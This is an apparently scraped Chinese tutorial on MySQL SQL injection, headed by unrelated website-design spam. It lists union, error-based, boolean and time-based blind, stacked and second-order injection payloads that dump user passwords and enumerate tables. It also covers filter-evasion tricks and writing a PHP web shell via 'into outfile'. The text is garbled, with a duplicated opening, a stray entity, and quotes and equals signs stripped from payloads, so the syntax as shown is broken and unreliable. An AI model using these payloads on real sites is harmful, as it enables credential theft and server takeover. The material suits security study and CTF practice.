做效果图比较好的模型网站,做受视频播放网站,设计海报网站,合肥微信网站制作sql注入的类型
类型一#xff1a;数字型注入和union 注入
http://127.0.0.1/page_detail.php?id1 union select 1,(select password from user where usernameadmin),3 limit 1,2
类型二#xff1a;字符型注入 前面闭合 后面注释 来逃逸出单引号或者双引号 http://127…sql注入的类型
类型一数字型注入和union 注入
http://127.0.0.1/page_detail.php?id1 union select 1,(select password from user where usernameadmin),3 limit 1,2
类型二字符型注入 前面闭合 后面注释 来逃逸出单引号或者双引号 http://127.0.0.1/page_detail.php?id1 union select 1,(select password from user where usernameadmin),3 limit 1,2%23
查所有表
http://127.0.0.1/page_detail.php?id1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),3 limit 1,2%23
查所有列
http://127.0.0.1/page_detail.php?id1 union select 1,(select group_concat(column_name) from information_schema.columns where table_nameuser and table_schemadatabase()),3 limit 1,2%23
查敏感数据
http://127.0.0.1/page_detail.php?id1 union select 1,(select group_concat(username,-,password) from user),3 limit 1,2%23 注释两种形式 # --空格 类型三布尔盲注
boolean 盲注
条件 没有明显的回显点 只有得到两个结果如果执行正常页面不报错执行不正常页面报错
我们执行了我们自定义的sql语句如果语句是正确的或者说语句内我们的猜测是正确的就返回正常或者特定页面否则返回错误页面或者其他特定页面 1 当我们猜对(sql执行正常)情况下页面没有报错 2 当我们猜错(sql执行不下去)情况下页面报错
基于上面的原理我们可以发送大量的请求来猜测我们需要的数据
类型四报错注入
条件
1 没有明显的回显点 2 有mysql执行sql语句的报错信息 a. 利用updatexml函数来强制报错带出我们的查询结果 usernameadmin or updatexml(1,concat(^,(select group_concat(column_name) from information_schema.columns where table_nameuser and table_schemadatabase()),^),1)%23password123123
b. extractvalue 和updatexml 功能一样也是通过报错带出查询数据用
c. 整数溢出报错 exp pow cot
d. 不存在函数报错 select ctfshow(); 类型五堆叠注入
我们控制的语句可以执行多条sql
注意点 需要后台代码支持多条语句执行而这个支持需要不同于上面的代码写法 强网杯 随便注
通过分号分隔多条sql语句实现了修改表结构甚至删除表数据等等结果
如果可以堆叠大家应该首先考虑 存储过程 set ab;
存储过程 类似与 shell的函数 可以自定义函数 类型六时间盲注
条件 没有明显的回显点 页面也没有明显的变化即使sql语句执行不成功
总结 可以执行sql注入但是不知道执行结果也不知道执行了没甚至不知道报错了没
原理
猜测某个条件如果成立就sleep 几秒 select id,username,password from user where username admin and if((select substr(username,1,1) from user where id 1)a,sleep(3),1); a sleep进行延迟
b benchmark(count,exp)
如果执行一个比较耗时的表达式非常多的次数加起来就有可能造成延时的效果
c 笛卡尔积延迟法 select count(*) from user A,user B; SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C; select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f; if(21,延迟语句1) d get_lock函数延迟法 select get_lock(a,3); 条件针对数据库连接的长连接有效 php 一般 解释执行完毕后就会关闭数据库连接下次请求的时候再次连接数据库 java 维护一个数据库连接池长时间连接需要处理请求时拿出来进行sql查询查询完后放回数据库连接池 e rlike 通过大量的正则匹配来实现延迟 类型七二次注入
条件
1 无法直接注入但是可以把要注入的数据插入数据库中
2 其他地方引用数据库中的数据拼接sql语句时默认不再进行过滤直接拼接造成曲线控制了sql语句 1 整数型注入/union联合注入 2 字符型注入 3 布尔盲注 4 报错注入 5 堆叠注入 6 时间盲注 7 二次注入 不同注入点的应对技巧
sql语句分为CURD操作
select 注入
1 当我们控制点在where 之后则尝试 闭合参数引号有回显就联合注入有报错就报错注入等等
2 select title,content from page;
select (select password from user where usernameadmin) ,content from page;
3 注入点在 group by 或者order by之后
select title,content from page order by title;
select title,content from page order by title,if(21,sleep(3),1);
4 注入点在limit 之后 5.6版本之前 8以后废弃
select title,content from page limit 1;
select title,content from page limit 1 procedure analyse(updatexml(1,concat(^,(select user()),^),1)); 包括一些小技巧
1 字符串可以转为16进制来用 select 0x63746673686f77
2 相同或者类似功能的函数相互替换 substr sustring 类似cat 用tac替代绕过检测
3 mysql 还可以使用into outfile /var/www/html/1.php 的形式从数据读取转为数据写入从而实现代码执行 如果mysql对那个目录有写权限